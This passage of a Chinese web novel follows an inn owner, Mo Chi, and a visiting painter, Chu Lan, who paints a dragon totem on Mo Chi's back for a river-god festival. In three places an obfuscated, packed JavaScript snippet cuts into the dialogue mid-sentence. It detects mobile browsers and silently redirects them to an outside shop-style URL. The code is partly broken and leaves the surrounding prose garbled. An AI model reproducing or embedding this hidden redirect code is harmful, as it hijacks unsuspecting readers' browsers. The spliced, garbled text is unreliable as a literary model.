胡晓峰拆了包烟给莫池,莫池看他递来的烟盒没接,蹙了下眉:“都肺癌了还抽?” “我没抽,就是备在家里,来客人了散一散。” 莫池怕呛着初澜,把烟盒推还回去。 胡晓峰也在他旁边坐下,两人一起静静望着窗外。 高中时,莫池总会跟胡晓峰回家,有时候画画累了,便会直接睡在他家的沙发上。 如今这个家里的陈设摆件都没怎么变,只是墙壁有些泛黄了。 房间里很安静,一时只能听到屋外的雨声。 面对莫池,原本还很健谈的胡晓峰竟也变得沉默起来,身子不自觉地向前倾着,几乎一下就上了岁数。 “初老师就住在你家民宿吧?”不知过了多久,胡晓峰终于缓声开口。 “嗯。”莫池淡淡应声,过了会儿道,“他来得突然,没地方住。” “来干嘛的?” 干嘛的…… 来跳江的。 但莫池嘴上还是说:“采风吧。” “你说这真是…巧了哈。”胡晓峰点头感慨了声,片刻又自顾自地摇头笑笑。 两人相对无声了会儿。 胡晓峰:“那他…” “他不知道。”莫池打断,看向胡晓峰。 胡晓峰很快会意,两人起身打开房门,站在屋檐下。 胡晓峰转头道,“抽吧,现在熏不住了。” “您也不能闻二手烟。”莫池倚着房门,视线半垂看向身边的人。 曾经的胡晓峰也算人高马大,如今却已矮了莫池一大截。 “胡老师。”莫池顿了下,问,“您没跟他提起我吧。” 胡晓峰也扭头看莫池。 他其实提过一嘴,但话没说完又咽回去了。 “没…怎么说。” “说了多少。” 胡晓峰抿唇,片刻后如实道:“只说我有一个学生,很喜欢他的画,还想考宿城美院,但后来没搞这个了。就这么多,没提是你。” 莫池静了会儿,轻轻“嗯”了声:“以后别再跟他说我了。” “小池…” “胡老师。” 胡晓峰久久注视着莫池,印象里那个桀骜孤高、才华横溢、浑身散发着自信光彩的少年不知何时已经彻底蜕变成为一个寡言的男人。 再看不到他眼里流露出的光彩,像没有月光洒下的江面,像此时沉闷的雨天。 胡晓峰心里清楚莫池的想法,也知道此时躺在自己沙发上的人对莫池究竟具有怎样的意义。 ——如果他算是莫池绘画路上的一盏引路灯,那么初澜就该算是莫池穷其一生都想攀越的高峰。 只是现在,他却连抬头仰望的勇气都没有了。 过去有多骄傲,现在就有多敏感自卑。 过去多崇拜,现在就只有多想要逃避。 他不仅仅是不敢面对初澜,更怕被迫重新面对过去的自己。 末了,胡晓峰终是缓缓叹出口气。 “我知道了。” 莫池直起腰,又微微向前躬了下身。 “谢谢老师。” 胡晓峰摆手,有那么一刻甚至不敢直面莫池。 再开口时,胡晓峰的嗓音已变得有些哑涩,眼睛也泛了潮。 “老师对不住你。”他用力清了清嗓子,但也没好到哪儿去,“要不是我让你照顾钵仔,你也不会…” “我只有钵仔一个儿子,但我知道他其实不如你,无论是天赋还是别的,他都…” “不关您的事。”莫池打断,淡声道,“也不关钵仔的。” “过去的就让它过去吧。” …… * 初澜再睁开眼时,最先映入的是满室夕阳余晖。 瘦高挺拔的身影背对他站在窗前,再往后是连天晚霞。 初澜掀开薄毯坐起来,将其对折放在一边。 对方听到响动后转过身,逆光看了他片刻。 “初老师,你确定你真需要吃安眠药么?” 初澜被莫池口中全新的称呼搞得愣了下,随即扶额低笑着说:“我也没想到我酒量怎么变这么差了。” 莫池没告诉初澜其实是因为胡晓峰碰巧拿错了酒,只倒了杯热茶递给初澜。 初澜接过道了声谢,喝完几口后才忽然反应过来,莫池怎么会在这里? “打你电话不接。”莫池像是猜到初澜所想,轻描淡写道,“以为你被人拐了。” “我一个大男人,身上又没带钱,谁这么想不开?” 莫池没接话,觉得这人多少是对自己缺乏点正确认知。 但他其实真正担心的也不是这个…… 雨下那么大,初澜出门没带伞。 他为什么不带…… 是不知道会下雨,还是压根就没打算回来? 念及此处的莫池又开始心烦,沉着脸不再搭理初澜,一只手摩挲着烟盒。 初澜也知道对方是担心自己,放轻声音道:“对不起小池老板,真不是故意不接你电话,下次一定注意。” 莫池还是闷声不说话,眸子里的光却在听初澜说完这句话后不自觉放软。 但仅仅只是一瞬,很快就又沉了下去。 ——这样的解释让他产生了一种两人并不只是客栈老板和客人关系的感觉,更为亲密。 但此念头立刻被他自己扼杀了。 不是客栈老板和客人,那还能是什么关系? 对于莫池脑海中的天人交战,初澜此时却是全然未知。 只是越看这小老板越觉得有意思,时而有着超出他年纪的成熟与城府,时而又会不自觉透出些小孩子气。 “初老师您醒啦!”胡晓峰从外面收拾完他的画回来,一进门就见初澜坐在沙发上,连忙赔礼道歉,“对不住对不住!你看我,一不小心拿错了酒,给您喝着高度的了。现在好点没,不头晕了吧?” 初澜笑道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049528|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我才不好意思,实在是胡老师家的沙发太舒服了。” “那您以后常来!能跟初老师坐在一起聊天聊绘画,我这辈子也算没白活!” 见天色快暗了,胡晓峰又张罗着初澜和莫池一块吃晚饭,莫池以约了其他朋友为由拒绝了胡晓峰,在其目送下和初澜一起离开了夕阳笼罩的橹石湾。 大概是才下过雨的原故,桂花和桔子花的味道都要更加明显。 泥泞的地上铺满零碎花瓣,石桥上的青苔蔓延出潮湿的嫩绿。 路过桂花林的时候,莫池再次将伞撑开,防止枝桠上的雨水滴在初澜身上。 “我来吧,你手不方便。”初澜说着要去接伞,被莫池抬腕避开。 “不用。” 见初澜的手还停在半空,莫池顿了下,淡声解释:“伞会打到我的头。” 初澜笑了:“你也就只比我高一点。” 莫池斜了他一眼:“你们那儿管高一头叫一点?” 初澜不再跟他争,由着莫池打伞,脱口就叹了句:“这孩子。” 莫池瞬间停住脚,再次盯着初澜。 初澜见他又要不高兴,连忙提醒道:“快走吧,天要黑了。” 说着拽了下莫池撑伞的手。 初澜的指尖有些泛凉,莫池被他一激,头顶的伞蓦地抖动,雨水簌簌落了下来。 他将握伞柄的手又紧了紧,默默和初澜拉开些距离,喉间在深蓝色的天光里轻轻滚动了下。 …… * 入夜,黄飞宏和唐军果然准时出现在了莫池家客栈门口。 唐军从黄飞宏那儿听说了莫池受伤的事,在看到他缠绷带的左手后稍松了口气。 “还好右手没事,不然多不方便。” 他这话原本没别的什么意思,结果不知怎么到了黄飞宏那儿就变了味。 只见黄飞宏往莫池跟前一凑,带着三分痛心疾首和七分幸灾乐祸地道:“小池哥,手废了没关系,你还有兄弟!实在不行,兄弟也可以勉为其难帮你…嗷!!” 黄飞宏屁股上挨了莫池结实一脚。 唐军也笑着大骂他脏,没看到边上还有初老师在场。 陈芳草知道唐军和黄飞宏平时没少帮自己儿子忙,莫池不在的那些年,也是这两兄弟一直在帮衬她,于是亲自下厨做了一桌子菜。 黄飞宏从他哥那里搬了坛酒给大家满上,倒到初澜时被莫池拦住。 “别给他。他中午刚喝过,才醒没多久。” “啊?!”黄飞宏瞪大眼打量初澜,“看不出来你酒瘾这么大!跟谁一起喝的?” 唐军捅了黄飞宏一下子:“就你有好奇心!” 说完又看向莫池,道,“对了,钵仔说他要到省里开会,这次八成回不来了。” 莫池喝了口酒,淡淡“嗯”了声。 唐军又问:“你‘迎龙王’的东西备的怎么样?还需要我帮着买什么不?” “不用,今天都买齐了。” “那就好。” 唐军见初澜一直在安静听他们聊天,便主动跟他解释: “‘迎龙王’是我们这边的习俗,挺有意思的,你刚好能赶上。莫池作为这里最年轻一代的船老大,要跟族长们一起迎龙王,载神游江。” “你是没见过,小池哥可威风了!”黄飞宏边说边比划,“背上画着龙腾纹,在船头敲鼓!好家伙,那身材…啧!” 唐军对莫池思索着道:“之前一直是钵仔给你画背。今年他不回来,你打算怎么办?” 他顿了顿:“不然去麻烦下胡老师?” “明天再说吧。”莫池说,“本身也不难,随便找谁画都行。” …… 11.画背 酒足饭饱后,一众人散了场。 不出意外,黄飞宏搬起石头砸自己脚,被从他哥那儿顺来的酒灌得五迷三道,路都走不好。 莫池干脆开了间房把他往床上一扔。 唐军比黄飞宏清醒些,加上老婆还在家,不敢像黄飞宏似的这么随便。 在跟莫池、初澜道过别后,打着手电朝自家方向走去。 唐军家就住邻近村,步行十几分钟就能到。 桌子上乱七八糟摆着酒菜碗筷,陈芳草想来收拾被莫池阻止,让她先回去睡觉。 接着挽了袖子,动作麻利地收拾起来。把脏碗碟扔进水池,打开水龙头。 刚要挤洗洁精,便被人先给拿走了。 初澜:“医生说你不能碰水,我来吧。” 莫池想说不用,你是客人,但一开口说的却是更真实的原因。 “油,别弄脏你。” “没事,我画画的时候还经常直接拿衣服擦颜料。”初澜边说边解开袖口,站在水池前,把莫池往旁边挤了挤,动手刷起来。 初澜的手长得白皙修长,慢条斯理地沿着碗边,碗底,再到碗身细细清洗。 丝瓜瓤拿在他手里不像刷碗工具,更像是一支画笔。 洗洁精是颜料,而那些碗筷则是他雕琢出的艺术品。 莫池在旁出神地看着,以至于初澜连叫了他两声都没有听到。 在对方第三次喊他“小池老板”,并转头朝莫池看来时,他才终于回过神。 “嗯?” 初澜在哗啦啦的流水声中轻声问:“龙腾纹,是什么样子的?” 莫池整理了下语言,平淡说:“一种我们当地的图腾,会用朱红色的颜料画在背上,从后颈一直到腰,再用金粉勾边。” “有图么?” “有,你上网也可以查到。” 初澜点点头,将手里洗净的碗甩了甩,沥干水。 而后再次扭头:“我来帮你画吧。” “什么?”莫池下意识冒出一句,深暗的眼眸微微颤了下。 初澜又重复了遍:“我帮你画吧。” …… 也就仅仅只这一句话,莫池后背上的肌肉瞬间绷紧了。 锋利的眉眼深处闪过丝怔愣,脸上还在强行保持镇静。 “不…”他清清嗓子,驱赶泛起的那点涩哑,“不用了。” “是么…”初澜抿唇,片刻有些遗憾地垂眼笑笑,“好可惜。” 是好可惜。 莫池脑子里飘过这样的声音。 当初澜把碗筷摞成一摞,打算送去消毒柜时,莫池在身后将他叫住。 他面无表情地盯着一处,状似漫不经心地说:“你想画就画。” 初澜愣了愣,随即唇边扬起一个轻浅的弧度。 “放心,我会尽力画好的。” …… * 正如莫池所说,龙腾纹的形状并不复杂,类似于一种象形文字演变成的图案。 初澜只简单研究了一晚便烂熟于心。 “迎龙王”前一天要祭祖,还要给亡人扫墓。朔松江两岸的节日气氛已经变得非常浓厚,鞭、炮与唢呐声从大清早便开始响个没完。 天气异常闷热,空气里湿度很大,像是又憋着场暴雨要下,天地宛若一个巨大的蒸笼。 初澜从楼上下来,就看到陈芳草手上拎着装黄纸和祭品的袋子,站在院子里。 莫池在一旁修理被雨水浇朽的窗户框。 两人一时都没注意到初澜。 陈芳草皱着眉,看向莫池的眼里带着纠结和一点点无可奈何。 “真不去啊?”陈芳草问。 莫池头也不抬,低低“嗯”了声。 陈芳草还是站在原地没动,嘴唇微微颤了下,试探地说:“你爸一直想见你,他临走前…” 莫池将手里的改锥换成锤子,一下下敲打铁钉。 “不去了。”他说。 “小池,你爸不会怪你的。”陈芳草的语气带了点埋怨,“你不去看他,他才要怪你。” ——回答她的,只有一阵沉闷规律的“咚咚”声。 末了,陈芳草终是叹了口气,转身要走时才看到了站着的初澜。 她有些局促地笑笑:“起来啦?” “起了。”初澜冲陈芳草牵牵唇。 陈芳草自顾自地解释道:“我去看看小池他爸,给他烧点东西。” “远么?”初澜望向陈芳草手上拎的袋子。 “不用,没多远!”陈芳草说,“就在岔道口那边的桔林里,我骑电动车很快。” 初澜微愣了下,意识到陈芳草所说的应该就是自己那天去的那片桔林。 当时莫池还跟他说里面有很多坟,让他不要去。 初澜用余光看了莫池一眼,他还在埋头修理窗户。 陈芳草又跟初澜寒暄了几句后便离开家,院子里转眼又只剩下他和莫池两人。 初澜搬来把椅子在一旁坐下,安静地看莫池忙活。 对方不说话,他便也不主动开口,直到莫池将窗户全部修完,直起腰主动将目光调向初澜,他才对莫池说:“龙腾纹我已经会画了。” 莫池点了下头,擦去额角的汗。 他的衣服已经湿透,下面的肌肉线条更为明显,胸口随着呼吸上下起伏着。 “今晚早点睡,画画还需要点时间。” “不睡了。”莫池走到一旁洗手,“早点开始,不然怕颜料不干。” 他顿了顿,又补了句:“我是说我不睡,你早画完早休息。” “没关系。”初澜说,“反正我也睡不着。” 这是实话,正好省两片安眠药。 世界就是这样,有些人想睡睡不着,有些人一睡就醒不了。 日上三竿时,黄飞宏才打着呵欠从屋里走出来。 一头黄毛像被炮轰了。 莫池简单煮了点面,三人吃完后,他和初澜便开始清点画“龙腾纹”需要的颜料。 黄飞宏一听初澜要亲自给莫池画背,说什么今晚都要留下来围观,还要叫上唐军一起,被莫池强行撵走了。 再晚些的时候,陈芳草回来了。 大概是心里对莫池还有怨言,她只跟初澜打了声招呼就先独自回了房间。 莫池又默默去厨房给陈芳草弄了些吃的,敲了两下门,见陈芳草不开便将食物放在门边。 随着时间一点点流逝,夜幕开始低垂,空气变得更加沉闷。 树上的蝉像是预感到暴雨将至,玩命似的叫个没完。 蜻蜓贴着江面飞行,电风扇嗡嗡摆着头。 画画的地点安排在初澜房间,正式开始前,莫池先去洗了个澡。 敲开初澜的房门时,初澜已经准备齐全,坐在床上等他。 被单被他事先掀起,又在床垫上铺了一层布,防止颜料把床弄脏。 见莫池笔挺地站在床边一动不动,初澜微微抬头看了他一眼,示意莫池坐下。 莫池又开始出汗了。 喉间滚了滚,慢慢沿着床边侧坐。 “你得上床,背对着我。”初澜轻声说,“把上衣脱了。” 莫池的表情变得更严肃,嘴唇连带着下巴一起绷成条分明的轮廓。 他低低“嗯”了声,又往床中间挪了挪,转过身盘起腿,两手分别搭在膝盖上。 当微凉的指尖触碰到莫池的后背时,他觉得自己肌肉深层的神经都跟着“突”地跳了下。 呼吸蓦地一沉,莫池闭眼,膝盖上的手不由紧攥成拳。 偏偏初澜为了确定构图,手沿着莫池的肌理慢慢下划。 莫池觉得被他抚过的地方在短暂的冰凉过后,顷刻就又燃烧起来。 从没有过哪一刻,时间竟变得如此缓慢难捱。 他吐了口气,尝试强行将注意力转移到别的地方,于是死死盯着一块木地板。 “别紧张。”身后传来那人温润的声音,莫池甚至可以感到对方的呼吸喷薄在他后脊上。 也是清凉的。 “没紧张。”莫池顿了顿,“我可不可以抽根烟。” “现在可以。”初澜说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062851|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫池“嗯”了声,伸手去摸裤子口袋里的烟盒,叼了根烟在嘴里点燃,深深吸了一口吐出。 一系列动作多少显得有些凌乱。 “你身材真好,尤其是腰线,画上‘龙腾纹’一定会很好看。”初澜夸赞。 这话绝对是由衷的,莫池的后背就像一块天然且昂贵的画布,宽阔紧实,带着蓬勃的力量感。 微向前躬身时,肩胛骨仿佛能生出对苍劲的翅膀,比初澜见过的那些人体都更完美。 他将所有精神专注在莫池的脊背上,深呼吸了下,拿起一旁的画笔,蘸了颜料。 “不要动。”初澜轻声说,“我开始了。” “嗯。” 窗外响起几声沉闷的雷,终于下雨了。 当初澜完全进入到创作状态中时,就会变得一言不发,四下静得甚至能听到烟草燃烧的声音,再就是屋外瓢泼的雷雨声。 一条深红从莫池的后颈延伸至他腰际,下笔干净利落,在接近尾椎时向上一勾。 就算莫池不看,也知道这象征龙身的一笔必然画得相当漂亮。 初澜轻舒了口气,敛眸又去蘸颜料,而后贴着莫池的皮肤扶上他的腰。 再次落笔。 狼毫笔较羊毛而言少了几分细软,更为柔韧,描过皮肤时带着些粗粝的痕痒。 莫池自认为皮糙肉厚,此前钵仔给他画时,也从不像现在这么敏感。 几次实在忍不住想挠,都被初澜按住手,低声让他“别动”。 一滴汗从额头滑落,莫池知道他的背上应该早就全是汗了,所以初澜才总拿毛巾帮他擦。 当红色的主体部分总算画完时,已经是几小时以后的事。 雨还在连天下,丝毫不见要停的趋势。 初澜将狼毫笔放在一边,活动了下有些发酸的手腕。 莫池也总算得了喘口气的机会,拧开床头的矿泉水,咕咚咚灌到见底。 “你是不是很热?”初澜看了眼头顶的吊扇,“主要是怕你刚洗完澡,开空调会着凉。” “不会。”莫池拿过空调遥控,“滴滴”直接调到20度,又对初澜说,“你冷得话加件衣服。” 初澜点点头,找了件外套穿上,挽起袖口。 “那我们继续?” “好。” 后半程的工作主要就是描边,初澜换了勾线笔,挑染上金色的颜料。 室内的温度逐渐降了下来,但莫池还是总出汗。 透明的汗珠沿着脊背滑落,为了防止图案被晕染,初澜只能又另找了支干净的笔帮他把汗一次次抹掉。 “坚持住,就快画完了。”初澜出言安慰,莫池微点了下头,不接他话。 在一笔又从腰侧延展到腰椎时,初澜轻轻停下,拧眉思索着。 片刻后道:“莫池,你得把皮带扣松一下。” 认真工作的时候,初澜没有戏言对方为“小池老板”,而是直接喊了他的名字。 莫池眸底放大,垂在膝盖的手不由一紧。 “不用!”他几乎立刻拒绝,稍纵又低声说,“看不到那里。” “用。”艺术家在此刻终于表现出了他的偏执,坚定道,“还差一点。” 两人陷入了一阵莫名而长久的僵滞。 又过了好一会儿,莫池终于认命般地闭了闭眼,慢慢伸手,解开了牛仔裤上的皮带扣。 金属摩擦发出细微却清晰的声响,皮带被他抽掉,扔在一旁。 初澜拉着莫池的牛仔裤后腰向下褪了褪,随即画笔沿着尾椎一笔划入。 莫池的后背倏地紧绷。 “好了。” 初澜终于微微吁了口气。 当天色从墨蓝变得漆黑,再重新变成蓝。 雨终于停了。 挺拔高大的男人伫立在黎明的天光前。 背后的图腾犹如野火般熊熊燃烧。 “迎龙王”的号子打破朔松江的宁静。 他回头看向默默收拾画具的人,嗓音是清晨特有的沉。 “我去了,初澜。” …… 12.迎神 连夜暴雨一扫昨日的阴霾,阳光从山坳腾然跃起,江面铺满金色的鳞片。 莫池本意是想让初澜先补个眠,等醒了再去江边。 可初澜坚决不想错过“迎龙王”的任何一个环节,火速收拾完自己,跟莫池一起下了楼。 一楼的桌子上摆着早餐,陈芳草今天也起得格外早。 见到初澜后跟他打了招呼,让初澜好好玩,全程还是没怎么理莫池。 等两人要出门时才又将莫池叫住,返身回屋,不一会儿拿了个小巧的护身符挂坠出来。 莫池看着她手上的挂坠没说话,乖乖将头低下,任陈芳草把挂坠给他戴上。 低声说了句:“走了。” 陈芳草回了声“去吧”,在莫池转身后良久注视着他的背影。 依稀间,就仿佛那个高大男人的身型和莫池交叠在了一起。 …… * 唢呐连天,鞭炮在龙王庙外爆开红色的花火,风中弥漫着硫磺、硝、还有桔子芳辛的味道。 主祭扬起香草烧成的草木灰,拉长一种很独特的腔调,初澜虽听不懂,却也觉得庄重而富有神性。 酿好的粮食酒被摆上长桌,负责抬神轿的四个年轻人迎着烈日拎起酒坛,拔掉上面的木塞。 也不用碗,在主祭的指引下,仰头直接就着坛口对嘴灌下。 饮尽将酒坛往地上一摔,瓷片“啪”的炸裂开来。 莫池便位列四人之中,喝完酒将外衣痛快除去,露出后背赤色的古老图腾。 走到轿前,将轿杠架在肩头。 又是一阵高亢的唢呐响,四人屈膝同时发力,游龙王的神轿被扛了起来。 浩荡的队伍在不间断的吹打声中,踩着满地红色,一路沿江朝码头行进,期间有源源不断更多的人加入进来。 初澜也跟在迎神的队伍里,不远处便是莫池宽阔结实的背影。 汗水在酒精与高温的催化下从皮肤渗出,龙腾纹受其浸润绽放出更加剔透的光泽。 到了江边,迎神的船只已停泊在岸。 轿子落地,烟尘飞扬,龙王被请出神轿,抬至船上。 族长将鼓槌交到莫池手里,见他左手还缠着绷带,迟疑了下:“后生,能行么?” 莫池微一点头,缓步朝着船只走去。 边走边将绷带上打的结用牙一撕,一圈圈拆了下来。 绷带上还沾着斑驳血迹,掉落在地和红纸与炮屑混在一起。 莫池跨上船头,跟船尾负责摇橹的人用眼神打了招呼,接着慢慢抬起紧握鼓槌的手。 汗水自他的额头延至下巴,“啪嗒”溅在鼓面。 手臂划过一条漂亮的弧线,骤然回落。 沉闷的鼓点顿时像一场席卷而来的太阳风暴,在江面密集地响起。 人群开始沸腾,一边呐喊一边撒开步子追逐游龙王的神舟。 作为贡品的香粉和五色糯米被众人不断撒向江中,初澜也任由人潮推着他往下游走。 此时,初澜的肩突然被人拍了下,回头见是不知道从哪儿冒出的黄飞宏和唐军。 黄飞宏指着船头的莫池,在嘈乱中激动地嚷嚷:“帅不帅!艺术家,你就说我哥他帅不帅!!” “帅。”初澜轻声答话,视线再次落在敲鼓的人身上。 也不知是不是对方感受到了初澜的目光,此时也微微侧目,朝岸边看来。 掠过那些攒动的人头,几乎一眼便寻到了人群中的初澜。 黄飞宏用力给莫池挥手呐喊,想去摇晃边上的初澜,被唐军挤开。 唐军:“你画的真好,就像真有一条龙盘在莫池背上一样。”他笑着转头对初澜道,“专业的是不一样!” 初澜也收回自己的目光,冲唐军牵了下唇,说了句“过奖”。 “游龙王”的仪式一直持续了整个上午。 等到太阳升至中天,众人便重新返回江边码头。 江岸上已摆满长桌长凳,各色菜肴与美酒纷纷上桌。 在场的人也先后落了座,举杯畅饮,待到兴致最浓时,还分成了不同阵营对起山歌。 初澜作为远道而来的客人,自然成为大家劝酒的主要对象。 他知道朔松江两岸本就有着极为浓厚的酒文化,也不好意思总是推辞。加上唐军并不晓得初澜在吃药,黄飞宏又是个“人来疯”,几番喝下来便又开始隐隐泛醉意。 当面前的酒碗又一次被黄飞宏倒满时,一只手凭空出现直接将酒碗拿走了。 黄飞宏正想骂人,扭头发现是莫池,顿时喜笑颜开:“池哥!” 莫池“嗯”了声,淡淡撇向初澜:“别喝了。” 黄飞宏一听不乐意了,瘪嘴道:“哥,你这就没意思了!我初澜哥是贵客!” 这小子喝点酒就忘形,眼下初澜也顺理成章成了他哥。 黄飞宏:“你想喝我再给你拿个碗,别抢我初澜哥的!” “给他灌醉了你照顾?”莫池横了黄飞宏一眼,而后将碗里的酒一饮而尽,“我替他了。” 初澜愣了下,想说这碗他刚刚用过,但又一想别个小池老板都没见外,自己说多少有些小题大做。 边上几个看好戏不嫌事大的年轻人一见莫池跑来这桌,瞬间一拥而上开始起哄。 “我也要跟贵客喝一个!池哥你又替啊?” “我也来!” 新一坛酒被拔掉塞子,不由分说倒进碗里。 莫池也不多言,再次仰头将酒喝了。 围着的人群顿时一阵欢呼,不时便有更多人加入。 初澜见莫池早在龙王庙的时候,就已经灌了不少酒,担心他这么喝会高,想替回来,被一旁的唐军拦住。 唐军边嗑瓜子边自顾自乐:“没事儿,他能喝着呢。” 初澜皱皱眉:“喝多了伤胃。” “他没胃,浑身上下除了胆就是肝。”唐军自斟自酌了口,“我结婚那会儿被灌得更厉害,没办法,总不能让我媳妇儿喝。” 说完这句,他似乎也觉得自己这个类比不太恰当,又补了句,“你是他们家客人,他想替你就让他替呗。” 转眼,新一轮对山歌又开始了。 先前围着莫池起哄的这帮人酒意上头,撂下碗加入了对歌的队伍。 莫池总算有了休息的空当,踢了踢黄飞宏的凳子,示意他往边上挪个位置,自己挨着初澜坐下。 大概是喝了酒的原故,莫池身上有些烫,夹着股热风。 初澜赶紧找杯子给他倒了杯糯米茶,让莫池喝了解酒。 就算是在这炎炎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080231|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暑日,初澜依旧没出汗,浑身上下既干爽又清凉。 莫池本能就想再靠他近些,缓解体内窜涌的燥热,但理智又让他自始至终都和初澜保持着距离。 黄飞宏这会儿已经彻底高了,见着张三叫李四,逮着王妈喊管家,憨笑着脸冲初澜竖起个大拇指:“嗝,池哥,你、你真帅啊!” 话没说完被莫池掰着头调了个方向:“池哥在这儿呢。” “哦、哦。”黄飞宏呆滞地点点头,又把脸转回去,笑得更傻,“嫂、嫂子,我哥真帅啊!” 唐军搓着脸笑的快溜到地上了,黄飞宏不满地垮起表情吼:“儿子别笑!” “滚,我是你大爷!” “大爷过年好!” 初澜也跟着轻轻笑了声,看着这些鲜活的生命,生出了一种许久未曾有过的轻松感。 这里的一切都是活生生的,自己在此刻,好像也是活着的。 一抬眼,发现身边似乎有人正在看他。 初澜扭头,迎上莫池黑漆漆的目光。 “头晕不晕?”初澜问。 莫池摇头。 “下午是什么安排?” “山歌比赛,一直唱到黄昏。”莫池顿了顿,“我不用在,晚上出来‘祭江魂’就可以。” “嗯,那就先回去休息下,我帮你把背上的图案洗干净。” “你不跟去看了?”莫池问,“黄飞宏和唐军他们都去。” “不了,我也有点累。” 莫池点头,又看了初澜一会儿:“没醉吧?” “没有,只喝了一点,就是太阳太晒了。” 莫池低低“嗯”了声,这才撑着额角,阖上了眼。 …… * 午后,江坝上的宴席散了,初澜和莫池跟唐军、黄飞宏在码头分了头,往莫池家的方向走。 纵然是酒神转世,喝了那么多也难免遭不住。 初澜明显觉得莫池步子有点打飘,却还在强作镇定地想走直线。 初澜快上前两步,将莫池的胳膊挂在自己脖子上。 莫池说了句“不用”,要挣开,被初澜阻止。 “我没喝多。” “好。” 莫池嘴唇动动:“不用扶。” “嗯。” 莫池又要抽手,初澜微皱了下眉,下意识便拿出年长者心态,说:“听话。” 莫池动作僵了下,垂眼看着初澜,却没再反抗。 片刻后低声道:“我身上有汗,还有颜料。” “没关系。” 烈日依旧灼烫,别说是莫池,初澜都被晒得有些发晕。 等到了家,陈芳草闻到莫池一身酒气,也猜到他大概是被人轮着灌酒了,不好意思地拜托初澜把人先送回房间,自己去厨房煮醒酒汤。 初澜架着莫池上到二楼,本想直接在他屋里帮莫池清洗背上的颜料,可莫池却突然停住脚。 蒙着醉意的眸子沉了下:“你上楼吧,我自己行。” “你洗不干净,得先用油把颜料卸掉。”初澜说着又看向莫池的左手,“还有你的手也要重新消毒。” 莫池不语,执拗地站在走廊上。 喉结微滚,又静了下道:“我不习惯有人进我房间。” …… 13.神明 初澜拿他没办法,心说这又是犯了哪门子倔? 转念一想大概是觉得屋子乱,没来及收拾又好面子,于是轻舒了口气说:“不然去我那儿?” 一阵短暂的静默后,莫池“嗯”了声。 进到房间,初澜先是把空调打开,又将窗帘拉上。 屋里的光线瞬间变得柔和,初澜抬手解开了衬衣最上方的两颗扣子。 就算莫池一路上来并没将力量全压在他身上,但对方到底人高马大,此番折腾下来初澜也出了不少汗。 他让莫池在房间等自己,先去一楼拿了医药箱,又到厨房找陈芳草要油。 陈芳草轻车熟路地拿了瓶橄榄油给初澜:“辛苦你了啊,初老师!待会儿我把醒酒汤送上去。” 等初澜再回到屋里,就见莫池坐在床上,两腿微微张开,垂着头闭目养神。 可能是怕把初澜的床坐脏,他还主动把昨天画背时用的布单又蒙了上去。 听到门响,莫池眼睫颤了颤掀开。 初澜将橄榄油放在一边,决定还是先帮莫池消毒手 上的伤口。 他干脆直接在莫池面前蹲下,打开医药箱。 “手。” 莫池顿了顿:“你别蹲在这儿。” “这样操作起来方便。”初澜拿出碘伏和棉签,见莫池还是不动,将自己的手摊开催促,“快。” 或许是真喝多了反应慢,莫池半天才慢慢将自己的手放到初澜手上。 带着股淡淡肥皂味,应该刚刚才洗了。 初澜将棉签蘸了碘伏,拉着莫池的手帮他上药。 莫池手上有好几条伤口,浅的地方基本都已经结痂,但深的位置因为被鼓槌摩擦,又有些裂开。 初澜小心翼翼边用棉签擦拭,边轻轻吹气,莫池的手又要往后撤,被初澜抓住。 “疼?” “不疼。”莫池抿唇,“痒。” “痒是好事,证明伤口在愈合了。” “不是。” 初澜不解地“嗯?”了声。 莫池闭眼:“你别呵气。” “哦。”初澜笑笑,继续帮他上药。 而这全程,莫池的视线仅仅只向下垂过一次,就一直目视着前方。 ——初澜的衬衣领被他自己解开了,但凡敛眸,就能看到那截颀长白皙的脖子。 莫池颈上还带着那枚陈芳草给他的护身符。 稍稍一动,护身符便轻轻摇晃起来,时不时还会碰到初澜的头。 “是在龙王庙求的么?” 初澜问。 莫池愣了愣,反应过来初澜问的是护身符,轻轻说了句:“不是,在藤若寺。” 初澜觉得这个名字有点耳熟,想了下是在去橹石湾的路上见过前往这座寺院的木牌。 “你信佛?还是你妈妈信。” “我妈。”莫池淡淡说,“我不信佛,也不信龙王。” “这话可别让那些长辈听到,好歹也是亲自抬神轿、站船头的。” “就是不信。” 喝多的莫池好像真的要比平时固执。 初澜点头哄道:“好,不信。年轻人要相信科学。” 莫池又不说话了。 等到初澜帮他全部上好药,合上医药箱时,头顶再次传来对方低沉沉的声音。 “我有信仰的神。” 初澜直起腰,莫池的视线跟着他起身,短暂落了一瞬,再次错开。 “是么?” 莫池“嗯”了声,不再继续这个话题。 ——他有信仰的神。 